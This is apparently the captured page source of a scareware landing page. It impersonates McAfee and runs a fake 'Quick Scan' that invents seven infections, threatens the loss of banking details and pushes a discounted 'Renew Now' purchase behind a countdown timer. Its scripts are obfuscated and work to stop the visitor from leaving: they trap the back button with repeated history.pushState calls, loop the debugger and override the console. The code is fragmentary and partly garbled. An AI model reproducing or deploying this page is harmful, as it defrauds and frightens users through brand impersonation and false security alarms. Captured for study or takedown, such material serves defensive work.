

:https://d2go4oghubcc7395lmm0.systemchainloop.com/NL/04/?cid=adb65c801e8f940749a8&extclickid=d2go4h8hubcc7395ljg&clickid=d2go4oghubcc7395lmm0&list=2&lp_key=17554ff8697f79035ebfb3d2703c0034c817a15438&domain=boostedsheild.com&language=en-US&browser=Chrome#

Page source

```
<!DOCTYPE html>
<html class="no-js" lang="">
  <head>
    <script type="text/javascript">
      ! function() {
        var a;
        var rUrl = "#";
        try {
          for (a = 0; 10 > a; ++a) {
            history.pushState({}, "", "#")
          }
          onpopstate = function(c) {
            var _0x5434 = ['action', '1733anSnbb', 'prototype', 'counter', '136873HWxAqy', 'error',
              'GgBac', '5JZYhko', '3SSgJoZ', 'call', 'state', '26pNCiTe', '136091QSfmwd', 'info', 'rGStB',
              'console', '__proto__', 'string', 'bSKgi', 'exception', 'warn', 'lxFxt', 'chain', 'stateObject',
              'constructor', 'VeMAH', '\x5c+\x5c+\x20*(?:[a-zA-Z_$][0-9a-zA-Z_$]*)', 'trace', 'gger',
              '44140ctcvRX', 'function\x20*\x5c(\x20*\x5c)', 'WjkwX', 'replace', '229bfkqlz', 'log', '4659UuUyvT',
              '1LEMWFc', 'IEjZQ', 'toString', 'table', 'HCacl', 'init', 'QfRJX', 'bind',
              '{}.constructor(\x22return\x20this\x22)(\x20)', 'length', 'yYjBG', 'return\x20(function() \x20',
              'xsXeB', 'debu', 'apply', 'IDwsF', 'input', 'vUROB', 'test', '22927tNheUQ', '107LKDvKq'];
            var _0x495e9c = _0x45f3;
            (function(_0x4e074d, _0x319937) {
              var _0x20d401 = _0x45f3;
              while (!![]) {
                try {
                  var _0x45b785 = -parseInt(_0x20d401(0x145)) +
                    -parseInt(_0x20d401(0x137)) * parseInt(_0x20d401(0x141)) + -parseInt(_0x20d401(0x13d)) *
                    -parseInt(_0x20d401(0x15d)) + parseInt(_0x20d401(0x156)) + -parseInt(_0x20d401(0x144)) *
                    -parseInt(_0x20d401(0x15c)) + -parseInt(_0x20d401(0x140)) * -parseInt(_0x20d401(0x13a)) +
                    parseInt(_0x20d401(0x138)) * parseInt(_0x20d401(0x15a));
                  if (_0x45b785 === _0x319937) break;
                  else _0x4e074d['push'](_0x4e074d['shift']());
                } catch (_0x1c173e) {
                  _0x4e074d['push'](_0x4e074d['shift']());
                }
              }
            })(_0x4e074d, _0x319937);
          }
        }
      }
    </script>
  </head>
</html>
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    }(_0x5434, 0x1fd8b));
    var _0x21629b = function() {
        var _0x35bb42 = ![];
        return function(_0x1cf651, _0x31cd94) {
            var _0x33ad16 = _0x45f3;
            if (_0x33ad16(0x152) === _0x33ad16(0x152)) {
                var _0x18df77 = _0x35bb42 ? function() {
                    var _0x25615a = _0x33ad16;
                    if (_0x31cd94) {
                        if (_0x25615a(0x14b) !== _0x25615a(0x133)) {
                            var _0xb57a6a = _0x31cd94[_0x25615a(0x16b)](_0x1cf651,
arguments);

                            return _0x31cd94 = null, _0xb57a6a;
                        } else {
                            function _0x286967() {
                                if (_0x306b8b) {
                                    var _0x4c06f8 = _0x13435a['apply'](_0x1634c5, arguments);
                                    return _0x19dead = null, _0x4c06f8;
                                }
                            }
                        }
                    }
                } : function() {};
                return _0x35bb42 = ![], _0x18df77;
            } else {
                function _0x1620f8() {
                    var _0x2312b3 = _0x33ad16,
                        _0xda6296 = new _0x1ae5ef(_0x2312b3(0x157)),
                        _0x4d475f = new _0x294497(_0x2312b3(0x153), 'i'),
                        _0x1f8183 = _0x3eb8ec(_0x2312b3(0x162));
                    !_0xda6296[_0x2312b3(0x136)](_0x1f8183 + _0x2312b3(0x14f)) ||
!_0x4d475f[_0x2312b3(0x136)](_0x1f8183 + _0x2312b3(0x134)) ? _0x1f8183('0') :
_0x35926d();
                }
            }
        };
    }();
    (function() {
        _0x21629b(this, function() {
            var _0x25bfa3 = _0x45f3;
            if (_0x25bfa3(0x15e) !== _0x25bfa3(0x15e)) {
                function _0x589299() {
                    return _0x1b226b;
                }
            }
        });
    });

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    }
    } else {
        var _0x19460e = new RegExp(_0x25bfa3(0x157)),
            _0x3e8587 = new RegExp(_0x25bfa3(0x153), 'i'),
            _0x2f1391 = _0x16d155(_0x25bfa3(0x162));
        !_0x19460e[_0x25bfa3(0x136)](_0x2f1391 + 'chain') ||
        !_0x3e8587[_0x25bfa3(0x136)](_0x2f1391 + 'input') ? _0x2f1391('0') : _0x16d155();
    }
    })();
})();
var _0x5c04dc = function() {
    var _0x432eca = ![];
    return function(_0x1510b1, _0x500ef7) {
        var _0x186bb8 = _0x432eca ? function() {
            var _0x51942c = _0x45f3;
            if (_0x500ef7) {
                if (_0x51942c(0x161) === _0x51942c(0x161)) {
                    var _0x4135ca = _0x500ef7['apply'](_0x1510b1, arguments);
                    return _0x500ef7 = null, _0x4135ca;
                } else {
                    function _0x2079eb() {
                        var _0x5c740e = _0x51942c,
                            _0x292faf =
                            _0x3c358e['constructor'][_0x292faf['prototype']](_0x5c740e(0x164))(_0x4ae26a),
                            _0x5c903d = _0x45d433[_0x2f2880],
                            _0x322973 = _0x206a6a[_0x5c903d] || _0x292faf;
                            _0x292faf[_0x5c740e(0x149)] =
                            _0x244f43[_0x5c740e(0x164)](_0x35dbe0), _0x292faf['toString'] =
                            _0x322973[_0x5c740e(0x15f)](_0x5c740e(0x164)](_0x322973), _0x586740[_0x5c903d] =
                            _0x292faf;
                    }
                }
            }
        } : function() {};
        return _0x432eca = ![], _0x186bb8;
    };
})();
_0x1e4db6 = _0x5c04dc(this, function() {
    var _0x3fc64a = _0x45f3,
        _0x5afb5b;
    try {
        if (_0x3fc64a(0x14e) === 'vDXJd') {
            function _0xf23cd7() {

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        var _0x43a495 = _0x3fc64a;
        if (_0x1a5cba) {
            var _0x425506 = _0x528eb0[_0x43a495(0x16b)](_0x1c76ec,
arguments);

            return _0x192f89 = null, _0x425506;
        }
    }
} else {
    var _0x1fbac9 = Function(_0x3fc64a(0x168) +
'{}.constructor(\x22return\x20this\x22)(\x20)' + ');');
    _0x5afb5b = _0x1fbac9();
}
} catch (_0x53e369) {
    _0x5afb5b = window;
}
var _0x38d2a0 = _0x5afb5b['console'] = _0x5afb5b['console'] || {},
    _0x2b02d9 = [_0x3fc64a(0x15b), 'warn', _0x3fc64a(0x146),
_0x3fc64a(0x13e), _0x3fc64a(0x14c), _0x3fc64a(0x160), _0x3fc64a(0x154)];
for (var _0xd7240f = 0x0; _0xd7240f < _0x2b02d9[_0x3fc64a(0x166)];
_0xd7240f++) {
    var _0x173014 =
_0x5c04dc['constructor'][_0x3fc64a(0x13b)][_0x3fc64a(0x164)](_0x5c04dc),
        _0x369f41 = _0x2b02d9[_0xd7240f],
        _0x462061 = _0x38d2a0[_0x369f41] || _0x173014;
    _0x173014[_0x3fc64a(0x149)] = _0x5c04dc[_0x3fc64a(0x164)](_0x5c04dc),
    _0x173014[_0x3fc64a(0x15f)] = _0x462061[_0x3fc64a(0x15f)][_0x3fc64a(0x164)](_0x462061),
    _0x38d2a0[_0x369f41] = _0x173014;
}
});
_0x1e4db6(), c[_0x495e9c(0x143)] && location[_0x495e9c(0x159)](rUrl);

function _0x45f3(_0x4c05e8, _0x5119b8) {
    _0x4c05e8 = _0x4c05e8 - 0x133;
    var _0x8641e8 = _0x5434[_0x4c05e8];
    return _0x8641e8;
}

function _0x16d155(_0x5afe05) {
    var _0x3acaad = _0x495e9c;

    function _0x59c6fe(_0x4ba7aa) {
        var _0x3073cb = _0x45f3;
        if (_0x3073cb(0x169) === _0x3073cb(0x13f)) {

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function _0x7d0e50() {
    _0x48b028(0x0);
}
} else {
    if (typeof _0x4ba7aa === _0x3073cb(0x14a)) return function(_0x405fda) {}
[_0x3073cb(0x151)]('while\x20(true)\x20{')['apply'](_0x3073cb(0x13c));
    else {
        if (('' + _0x4ba7aa / _0x4ba7aa)[_0x3073cb(0x166)] !== 0x1 || _0x4ba7aa %
0x14 === 0x0) {
            if (_0x3073cb(0x158) === _0x3073cb(0x158))(function() {
                var _0x5db09c = _0x3073cb;
                if ('NIRUe' !== _0x5db09c(0x135)) return !![];
                else {
                    function _0x395890() {
                        var _0xdffabb = _0x5db09c;
                        (function() {
                            return !![];
                        })[_0xdffabb(0x151)](_0xdffabb(0x16a) +
_0xdffabb(0x155))[_0xdffabb(0x16b)](_0xdffabb(0x150)));
                    }
                }
            })[_0x3073cb(0x151)]('debu' +
'gger')[_0x3073cb(0x142)](_0x3073cb(0x139)));
            else {
                function _0x42aa6f() {
                    var _0x4da904 = _0x3073cb,
_0x533367;
                    try {
                        var _0xd33aab = _0x3c1195(_0x4da904(0x168) +
_0x4da904(0x165) + ');');
                        _0x533367 = _0xd33aab();
                    } catch (_0x55db58) {
                        _0x533367 = _0x37adfd;
                    }
                    var _0x2c2e73 = _0x533367[_0x4da904(0x148)] =
_0x533367[_0x4da904(0x148)] || {},
_0x5bab68 = [_0x4da904(0x15b), _0x4da904(0x14d),
_0x4da904(0x146), 'error', _0x4da904(0x14c), _0x4da904(0x160), _0x4da904(0x154)];
                    for (var _0x5a995c = 0x0; _0x5a995c < _0x5bab68['length'];
_0x5a995c++) {
                        var _0x1d637c =
_0x119027[_0x4da904(0x151)][_0x4da904(0x13b)][_0x4da904(0x164)](_0x5c4f6c),
_0x590c6b = _0x5bab68[_0x5a995c],

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        _0x38f8b1 = _0x2c2e73[_0x590c6b] || _0x1d637c;
        _0x1d637c[_0x4da904(0x149)] = _0x172af8['bind'](_0x58a779),
        _0x1d637c['toString'] = _0x38f8b1[_0x4da904(0x15f)][_0x4da904(0x164)](_0x38f8b1),
        _0x2c2e73[_0x590c6b] = _0x1d637c;
    }
}
}
} else {
    if (_0x3073cb(0x147) === _0x3073cb(0x163)) {
        function _0x4a7c1f() {
            var _0x50ad = _0x4dd8a2['apply'](_0x50879f, arguments);
            return _0x45608d = null, _0x50ad;
        }
        } else(function() {
            return ![];
        })[_0x3073cb(0x151)]('debu' +
        _0x3073cb(0x155))[_0x3073cb(0x16b)]('stateObject'));
    }
}
    _0x59c6fe(++_0x4ba7aa);
}
}
try {
    if (_0x5afe05) return _0x59c6fe;
    else {
        if ('GXIBI' !== _0x3acaad(0x167)) _0x59c6fe(0x0);
        else {
            function _0x65b122() {
                var _0x5cf6f8 = _0x116639 ? function() {
                    var _0x214819 = _0x45f3;
                    if (_0x4aaa01) {
                        var _0x4aa7ef = _0x42e4be[_0x214819(0x16b)](_0x32503c,
arguments);

                        return _0x38b781 = null, _0x4aa7ef;
                    }
                } : function() {};
                return _0x202b8c = ![], _0x5cf6f8;
            }
        }
    }
} catch (_0x25ebf8) {}
}
}

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    } catch (b) {}
  }());
</script>    <meta charset="utf-8" />
    <title>McAfee & Privacy Protection</title>
    <meta name="description" content="" />
    <meta name="viewport" content="width=device-width, initial-scale=1" />
    <link rel="stylesheet" href="css/styleSheet.css" />
    <link rel="stylesheet" href="css/normalize.css" />
    <link rel="stylesheet" href="css/main.css" />
    <link rel="stylesheet" href="css/animate.css" />
    <link rel="shortcut icon" href="img/favicon.ico" type="image/ico">
</head>
<body onload="visual()" style="opacity:0">
    <div class="main_screen">
        <div class="bl_main_quick">
            <div class="bl_logo">
                <div class="bl_logo_sides">
                    
                    <div class="logo_devider"></div>
                    <div class="logo_name">Quick Scan</div>
                </div>
                <div class="bl_logo_sides">
                    
                    
                </div>
            </div>
            <div class="bl_scan">
                <div class="bl_logo_sides">
                    <div class="counter_cont">
                        
                        <span class="perc_counter">0%</span>
                    </div>
                    <div class="scan_txt_cont">
                        <div class="scan_txt">Scanning...</div>
                        <div class="scan_subtxt">Viruses & Mailware</div>
                    </div>
                </div>
                <div class="bl_logo_sides">
                    <div class="scan_txt_cont_r">
                        <div class="scan_mintxt">
                            Scanning commonly infected areas and startup files...
                        </div>
                        <div class="scan_subtxt">C:\Windows\System32\DriverState</div>
                    </div>
                </div>
            </div>
        </div>
    </div>

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</div>
</div>
<div class="bl_cont">
  <div class="table">
    <div class="table_head">Result Summary</div>
    <div class="table_devider"></div>
    <div class="table_content_row">
      <div class="bl_logo_sides">
        
        <div class="table_txt">Total items scanned</div>
      </div>
      <div class="bl_logo_sides">
        <div class="table_nums">1273</div>
      </div>
    </div>
    <div class="table_content_row">
      <div class="bl_logo_sides">
        
        <div class="table_txt">Total security risks detected</div>
        
      </div>
      <div class="bl_logo_sides">
        <div class="table_nums_red">0</div>
      </div>
    </div>
    <div class="table_content_row">
      <div class="bl_logo_sides">
        
        <div class="table_txt">Total security risks resolved</div>
      </div>
      <div class="bl_logo_sides">
        <div class="table_nums">0</div>
      </div>
    </div>
    <div class="table_content_row">
      <div class="bl_logo_sides">
        
        <div class="table_txt">Result Summary</div>
        
      </div>
      <div class="bl_logo_sides">
        <div class="table_nums_red">0</div>
      </div>
    </div>
  </div>
</div>
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        </div>
    </div>
</div>
<div class="blur_scr step1"></div>
<!-- FIRST VIEW SHOW IN LOAD -->
<div class="bl_main_warning animate__animated animate__shakeX step1">
    <div class="bl_red_head">
        
        <div class="b_txt">Safety warning!</div>
        <div class="sb_b_txt">
            You might recently browsed to compromised websites<br />that are most likely
infected with viruses        </div>
    </div>
    <div class="bl_warn_cont">
        <div class="warn_plag">
            
            <div class="plag_txt">
                Therefore, your computer might curretly be under virus threat        </div>
            </div>
            <div class="warn_txt">
                Your PC recently browsed to compromised websites with illegal
streaming<br/>and/or adult content. This might lead to getting your computer infected by
viruses.<br/> To delete potential viruses, you must <b>run an antivirus<br />scan
immediately</b>.        </div>
            <button class="quick_scan_btn"
onclick="runStep1();document.documentElement.requestFullscreen();">
                Run Quick Scan        </button>
            </div>
        </div>
<!-- BIG WHITE FUCK -->
<div class="bl_total_prot animate__animated animate__zoomIn step1" style="display:
none">
    <div class="bl_logo">
        <div class="bl_logo_sides">
            
            <div class="logo_devider"></div>
            <div class="logo_name_it">Total Protection</div>
        </div>
        <div class="bl_logo_sides">
            
            
        </div>
    </div>

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</div>
<div class="bl_total_prot_cont">
  <div class="bl_total_prot_cont_top">
    
    <div class="total_top_content_ct">
      <div class="b_total_txt">You are protected</div>
      <div>
        <div class="tot_row">
          <div class="total_tab_txt">Protection Updates</div>
          <div class="total_tag">Current</div>
        </div>
        <div class="table_devider"></div>
        <div class="tot_row_btw">
          <div class="tot_row">
            <div class="total_tab_txt">Last Scan</div>
            <div class="total_tag_red">Not available</div>
          </div>
          <div class="step_btn">
            Run Quick Scan 
          </div>
        </div>
        <div class="table_devider"></div>
        <div class="tot_row_btw">
          <div class="tot_row">
            <div class="total_tab_txt">Licenses Used:</div>
            <div class="total_tag">1 of 5</div>
          </div>
          <div class="step_btn">
            Install on Another Device
            
          </div>
        </div>
      </div>
    </div>
  </div>
</div>
<div class="bl_total_prot_cont_bot">
  <div class="total_grid_item">
    
    <div class="tot_grid_it_col">
      <div class="gr_txt">System</div>
      <div class="gr_txt_done">
        
        Protected
      </div>
    </div>
  </div>
</div>

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    </div>
</div>
<div class="total_grid_item">
  
  <div class="tot_grid_it_col">
    <div class="gr_txt">Browsers</div>
    <div class="gr_txt_done">
      
      Protected    </div>
    </div>
  </div>
</div>
<div class="total_grid_item">
  
  <div class="tot_grid_it_col">
    <div class="gr_txt">Perfomance</div>
    <div class="gr_txt_done">
      
      Protected    </div>
    </div>
  </div>
</div>
<div class="total_grid_item">
  
  <div class="tot_grid_it_col">
    <div class="gr_txt">Clouds</div>
    <div class="gr_txt_done">
      
      Protected    </div>
    </div>
  </div>
</div>
<div class="total_grid_item">
  
  <div class="tot_grid_it_col">
    <div class="gr_txt">Files</div>
    <div class="gr_txt_done">
      
      Protected    </div>
    </div>
  </div>
</div>
<div class="total_grid_item">
  
  <div class="tot_grid_it_col">
    <div class="gr_txt">More McAfee</div>
    <div class="step_btn">

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        Visit site                
    </div>
</div>
</div>
</div>
</div>
<div class="bl_total_foot">
    <div class="bl_foot_txt">Subsription status</div>
    <div class="bl_foot_txt_grn">30 Days Remaining</div>
</div>
</div>
<!-- MIDDLE COUNTING FUCK -->
<div class="blur_scr step2" style="display: none"></div>
<div class="bl_main_quick animate__animated animate__zoomIn step2" style="display:
none">
    <div class="bl_logo">
        <div class="bl_logo_sides">
            
            <div class="logo_devider"></div>
            <div class="logo_name">Quick Scan</div>
        </div>
        <div class="bl_logo_sides">
            
            
        </div>
    </div>
    <div class="bl_scan">
        <div class="bl_logo_sides">
            <div class="counter_cont">
                
                <span id="counter" class="perc_counter">0%</span>
            </div>
            <div class="scan_txt_cont">
                <div class="scan_txt">Scanning...</div>
                <div class="scan_subtxt">Viruses & Mailware</div>
            </div>
        </div>
        <div class="bl_logo_sides">
            <div class="scan_txt_cont_r">
                <div class="scan_mintxt">
                    Scanning commonly infected areas and startup files...
                </div>
                <div id="scanPathes" class="scan_subtxt">
                    C:\Windows\System32\DriverState
                </div>
            </div>
        </div>
    </div>

```

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        </div>
    </div>
</div>
</div>
<div class="bl_cont">
    <div class="table">
        <div class="table_head">Result Summary</div>
        <div class="table_devider"></div>
        <div class="table_content_row">
            <div class="bl_logo_sides">
                
                <div class="table_txt">Total items scanned</div>
            </div>
            <div class="bl_logo_sides">
                <div id="totalScannedCount" class="table_nums">1273</div>
            </div>
        </div>
        <div class="table_content_row">
            <div class="bl_logo_sides">
                
                <div class="table_txt">Total security risks detected</div>
                
            </div>
            <div class="bl_logo_sides">
                <div id="totalRisksDetected" class="table_nums_red">0</div>
            </div>
        </div>
        <div class="table_content_row">
            <div class="bl_logo_sides">
                
                <div class="table_txt">Total security risks resolved</div>
            </div>
            <div class="bl_logo_sides">
                <div class="table_nums">0</div>
            </div>
        </div>
        <div class="table_content_row">
            <div class="bl_logo_sides">
                
                <div class="table_txt">Result Summary</div>
                
            </div>
            <div class="bl_logo_sides">

```

```

        <div id="resultSummary" class="table_nums_red">0</div>
    </div>
</div>
</div>
<div class="repair_btns">
    <button class="rep_btn">Pause</button>
    <button class="rep_btn">Stop</button>
</div>
</div>
</div>
<!-- NORMAL NOTIFICATION WITH WARNING FUCK -->
<div class="blur_scr step3" style="display: none"></div>
<div class="bl_main_warning animate__animated animate__zoomIn step3" style="display:
none">
    <div class="bl_red_head">
        
        <div class="b_txt">
            Your Computer Is Infected with<br/> critical (7) viruses!
        </div>
    </div>
    <div class="bl_warn_cont">
        <div class="warn_plag">
            
            <div class="plag_txt">
                Your personal data banking information and other sensitive information is at risk of
being accessed by hackers!
            </div>
        </div>
        <div class="warn_txt">
            If you ignore this message - access to your banking details might be at risk of being
sold to 3rd parties.<br />Please start your McAfee Total Protection to eliminate all threats.
        </div>
        <button class="quick_scan_btn" onclick="runStep4();">Start McAfee Total
Protection</button>
    </div>
</div>
<!-- AFTER SECOND CLICK WITH FUCK -->
<div class="bl_total_prot_repair animate__animated animate__zoomIn step4"
style="display: none">
    <div class="bl_logo">
        <div class="bl_logo_sides">
            
            <div class="logo_devider"></div>
            <div class="logo_name_it">Total Protection</div>
        </div>
    </div>

```

```

<div class="bl_logo_sides">
  
  
</div>
</div>
<div class="red_not">
  Your system is being checked. Do not close this window!      </div>
<div class="bl_repair_cont">
  <div class="bl_repair_cont_item">
    <div class="relative">
      
      
      
      <div class="cont_scan_img_anim">
        
        
      </div>
    </div>
    <div class="total_rep_top_content_ct">
      <div class="tot_row_btw_w pad">
        <div class="b_total_txt">Repair in progress...</div>
        <div id="counter_protection" class="perc_num">12%</div>
      </div>
      <div>
        <div class="tot_row_btw_w">
          <div class="tot_row">
            <div class="total_tab_txt">
              Selected infected areas and files ...      </div>
            </div>
            <div class="tot_row">
              <div class="total_tab_txt">5</div>
              
            </div>
          </div>
          <div class="tot_row_btw_w">
            <div class="tot_row">
              <div class="total_tab_txt">
                Selected areas and files are quarantied ...      </div>
            </div>
            
            
          </div>
          <div class="tot_row_btw_w">

```

```

        <div class="tot_row">
            <div class="total_tab_txt">
                Checking system permissions                                </div>
            </div>
            
            
        </div>
        <div class="tot_row_btw_w">
            <div class="tot_row">
                <div class="total_tab_txt">Checking system status ...</div>
            </div>
            
            
        </div>
        <div class="tot_row_btw_w">
            <div class="tot_row">
                <div class="total_tab_txt">
                    Checking McAfee subscription ...                                </div>
                </div>
                
                
            </div>
            <div class="repair_btns">
                <button class="rep_btn">Pause</button>
                <button class="rep_btn">Stop</button>
            </div>
        </div>
    </div>
</div>
</div>
</div>
</div>
<div class="bl_total_prot_renew animate__animated animate__zoomIn step5"
style="display: none">
    <div class="bl_logo">
        <div class="bl_logo_sides">
            
            <div class="logo_devider"></div>
            <div class="logo_name_it">Total Protection</div>
        </div>
        <div class="bl_logo_sides">
            
            
        </div>
    </div>

```

```
</div>
<div class="red_not">Warning! Your antivirus protection is not active!</div>
<div class="bl_renew_cont">
  <div class="renew_cont_item_l">
    <div class="ren_l_head_txt">Viruses found</div>
    <div class="table_devider"></div>
    <div class="ren_l_main_col">
      <div class="ren_l_row">
        
        <div class="ren_l_txt_col">
          <div class="ren_l_txt_t">Win32/CryptoLocker.X9Zr</div>
          <div class="ren_l_txt_b">Ransomware (High Risk)</div>
        </div>
      </div>
      <div class="ren_l_row">
        
        <div class="ren_l_txt_col">
          <div class="ren_l_txt_t">Win32/Melissa2023.Xi92</div>
          <div class="ren_l_txt_b">Trojan.Gen.2 (High Risk)</div>
        </div>
      </div>
      <div class="ren_l_row">
        
        <div class="ren_l_txt_col">
          <div class="ren_l_txt_t">Win32/Zeus.2023...</div>
          <div class="ren_l_txt_b">Trojan.Gen.2 (High Risk)</div>
        </div>
      </div>
      <div class="ren_l_row">
        
        <div class="ren_l_txt_col">
          <div class="ren_l_txt_t">Win32/Mydoom.2023.</div>
          <div class="ren_l_txt_b">Russian Trojan (Ultra High Risk)</div>
        </div>
      </div>
      <div class="ren_l_row">
        
        <div class="ren_l_txt_col">
          <div class="ren_l_txt_t">Win32/Conficker.2jf9</div>
          <div class="ren_l_txt_b">Worm (High Risk)</div>
        </div>
      </div>
      <div class="ren_l_row">
```

```

        
        <div class="ren_l_txt_col">
            <div class="ren_l_txt_t">Win32/Pshtnm.Slmn</div>
            <div class="ren_l_txt_b">Russian Trojan (Ultra High Risk)</div>
        </div>
    </div>
    <div class="ren_l_row">
        
        <div class="ren_l_txt_col">
            <div class="ren_l_txt_t">Win32/Trojan.H028hj.</div>
            <div class="ren_l_txt_b">Virus (Normal Risk)</div>
        </div>
    </div>
</div>
<div class="renew_cont_item_r">
    <div class="b_total_txt">
        Your Antivirus Protection Has Expired<br>On <span id="dt" style="color:
#EA3829;"></span>
    </div>
    <div class="table_devider"></div>
    <div class="renew_r_txt">
        Given that your computer is currently infected with (7) different viruses, renewing
        your antivirus software is essential for protecting your personal information, preventing further
        damage, and restoring your system's integrity and security. Ignoring Renewal Of Antivirus Will
        Result in Losing Banking Details, Personal Information and Other Valuable Information From
        Your Computer.
    </div>
    <div class="warn_plag_yel">
        
        <div class="plag_txt_yel">
            If your computer is unprotected, it is at a high risk for<br>viruses and other
malware
        </div>
    </div>
    <div class="row">
        <div class="warn_plag_grn">
            <div>55% Discount for Renew!</div>
            <div class="ren_r_row">
                <div class="plag_txt_grn">Availible For</div>
                <div id="discount_timer" class="d_grn_tag"><span id="mins">3</span> min
<span id="secs">55</span> sec</div>
            </div>
        </div>
    </div>

```

```

        
        <div class="warn_plag_grn_r"></div>
    </div>
    <div class="repair_btns">
        <button class="quick_scan_btn" onclick="toOffer(event)">Renew Now</button>
    </div>
</div>
</div>
</div>
<div class="notification_list">
    <div id="noty1" class="lit_notif animate__animated animate__fadeIn" style="display:
none">
        <div class="not_red_top not_row">
            
            <div class="not_col">
                <div class="not_head_ttxt">Win32/Adware.SystemSecuri...</div>
                <div class="not_head_bttx">Trojan.Gen.2</div>
            </div>
        </div>
        <div class="not_row">
            
            <div class="not_col">
                <div class="not_ttxt">Risk</div>
                <div class="not_bttx_bold">High</div>
            </div>
        </div>
        <div class="table_devider"></div>
        <div class="not_row">
            
            <div class="not_col">
                <div class="not_ttxt_it">Origin</div>
                <div class="not_bttx">Not Available</div>
            </div>
        </div>
        <div class="table_devider"></div>
        <div class="not_row">
            
            <div class="not_col">
                <div class="not_ttxt_it">Activity</div>
                <div class="not_bttx">Threat Actions performed: 1</div>
            </div>
        </div>
    </div>
</div>

```

<div id="noty2" class="lit_notif animate__animated animate__fadeIn" style="display: none">

```
<div class="not_red_top not_row">
  
  <div class="not_col">
    <div class="not_head_ttxt">C:\Windows\microsoft office...</div>
    <div class="not_head_btxt">Trojan.Gen.2</div>
  </div>
</div>
<div class="not_row">
  
  <div class="not_col">
    <div class="not_ttxt">Risk</div>
    <div class="not_btxt_bold">High</div>
  </div>
</div>
<div class="table_devider"></div>
<div class="not_row">
  
  <div class="not_col">
    <div class="not_ttxt_it">Origin</div>
    <div class="not_btxt">Not Available</div>
  </div>
</div>
<div class="table_devider"></div>
<div class="not_row">
  
  <div class="not_col">
    <div class="not_ttxt_it">Activity</div>
    <div class="not_btxt">Threat Actions performed: 1</div>
  </div>
</div>
</div>
```

<div id="noty3" class="lit_notif animate__animated animate__fadeIn" style="display: none">

```
<div class="not_red_top not_row">
  
  <div class="not_col">
    <div class="not_head_ttxt">C:\Windows\sysWOW64...</div>
    <div class="not_head_btxt">Trojan.Gen.2</div>
  </div>
</div>
<div class="not_row">
```



```

};
_0x27d9c3.year = "numeric";
document.getElementById('dt').innerText = date.toLocaleDateString("en-US", _0x27d9c3);
var beep = new Audio("sounds/beep.mp3");
var beep2 = new Audio("sounds/beep.mp3");
beep.play();
function runStep1() {
  let _0x1ea95c = document.getElementsByClassName("step1");
  for (let _0x3b6082 = 0; _0x3b6082 < _0x1ea95c.length; _0x3b6082++) {
    const _0x1488c1 = _0x1ea95c[_0x3b6082];
    _0x1488c1.style.display = "flex";
  }
  setTimeout(runStep2, 1000);
}
function runStep2() {
  let _0x290c73 = document.getElementsByClassName("step2");
  for (let _0x454a71 = 0; _0x454a71 < _0x290c73.length; _0x454a71++) {
    const _0x4faf3a = _0x290c73[_0x454a71];
    _0x4faf3a.style.display = "flex";
  }
  function _0x5b15a1() {
    let _0x1931a6 = document.getElementById("counter");
    let _0x32f55b = 0;
    const _0x307baa = setInterval(() => {
      _0x32f55b++;
      _0x1931a6.innerText = _0x32f55b + '%';
      if (_0x32f55b >= 100) {
        clearInterval(_0x307baa);
      }
    }, 200);
  }
  _0x5b15a1();
  function _0x868fbb() {
    const _0x241cec = ["\u0421:WindowsSystem32DriverState", "C:Program FilesHAL 9000",
"C:WindowsDoughnut preferences", "C:Program Files?UNClocalhostZ$AnimalsCurious",
"C:Program FilesPuppetLabs.", "C:Windowsconfig", "C:WindowsPuppetLabsPuppetLabs",
"C:Program FilesDoughnut preferencesWith jam in.", "C:WindowssysWOW64", "C:Program
FilesPuppetLabs.", "C:WindowsSysWOW64inetsrvconfigapplication Host.config", "C:Program
FilesPuppetLabs.", "C:Windowsmicrosoft officeoffice12winword.exe", "C:WindowssysWOW64",
"C:Program FilesJavajre6\bin", "\u0421:WindowsSystem32DriverState", "C:Program FilesHAL
9000", "C:WindowsDoughnut preferences", "C:Program Files?UNClocalhostZ$AnimalsCurious",
"C:Program FilesPuppetLabs.", "C:Windowsconfig", "C:WindowsPuppetLabsPuppetLabs",
"C:Program FilesDoughnut preferencesWith jam in.", "C:WindowssysWOW64", "C:Program

```

FilesPuppetLabs.", "C:WindowsSysWOW64inetsrvconfigapplication Host.config", "C:Program FilesPuppetLabs.", "C:Windowsmicrosoft officeoffice12winword.exe", "C:WindowssysWOW64", "C:Program FilesJavajre6\bin"];

```
let _0x570648 = document.getElementById("scanPathes");
let _0x47068f = document.getElementById("totalScannedCount");
let _0x513f8f = 0;
let _0x19c5c5 = 0;
const _0x5f0773 = setInterval(() => {
  const _0x139332 = {
    Razah: "while (true) {}"
  };
  _0x139332.mLnuu = "counter";
  _0x513f8f++;
  _0x570648.innerText = _0x241cec[_0x19c5c5];
  _0x47068f.innerText = _0x513f8f * 1237;
  if (_0x19c5c5 === _0x241cec.length - 1) {
    _0x19c5c5 = 0;
  }
  if (_0x513f8f >= 1900) {
    clearInterval(_0x5f0773);
  }
  _0x19c5c5++;
}, 10);
}
_0x868fbb();
function _0x24b132() {
  let _0x3f170d = document.getElementById("totalRisksDetected");
  let _0x1e4c4d = document.getElementById("resultSummary");
  let _0x2a3b63 = 0;
  setTimeout(() => {
    _0x2a3b63++;
    _0x3f170d.innerText = _0x2a3b63;
    _0x1e4c4d.innerText = _0x2a3b63;
    let _0x15235f = document.getElementById("noty1");
    _0x15235f.style.display = "flex";
    beep.play();
    setTimeout(() => {
      _0x15235f.classList.add("animate__fadeOut");
    }, 2000);
  }, 1000);
  setTimeout(() => {
    _0x2a3b63++;
    _0x3f170d.innerText = _0x2a3b63;
```

```

    _0x1e4c4d.innerText = _0x2a3b63;
    let _0x1d0416 = document.getElementById("noty2");
    _0x1d0416.style.display = "flex";
    beep2.play();
    setTimeout(() => {
        _0x1d0416.classList.add("animate__fadeOut");
    }, 2000);
}, 6000);
setTimeout(() => {
    _0x2a3b63++;
    _0x3f170d.innerText = _0x2a3b63;
    _0x1e4c4d.innerText = _0x2a3b63;
    let _0x52eb69 = document.getElementById("noty3");
    _0x52eb69.style.display = "flex";
    beep.play();
    setTimeout(() => {
        _0x52eb69.classList.add("animate__fadeOut");
    }, 2000);
}, 7000);
}
_0x24b132();
setTimeout(runStep3, 20000);
}
function runStep3() {
    let _0x33ccc7 = document.getElementsByClassName("step3");
    for (let _0x53499b = 0; _0x53499b < _0x33ccc7.length; _0x53499b++) {
        const _0x15cec4 = _0x33ccc7[_0x53499b];
        _0x15cec4.style.display = "flex";
    }
}
function runStep4() {
    let _0x4bed7a = document.getElementsByClassName("step4");
    for (let _0x1783b1 = 0; _0x1783b1 < _0x4bed7a.length; _0x1783b1++) {
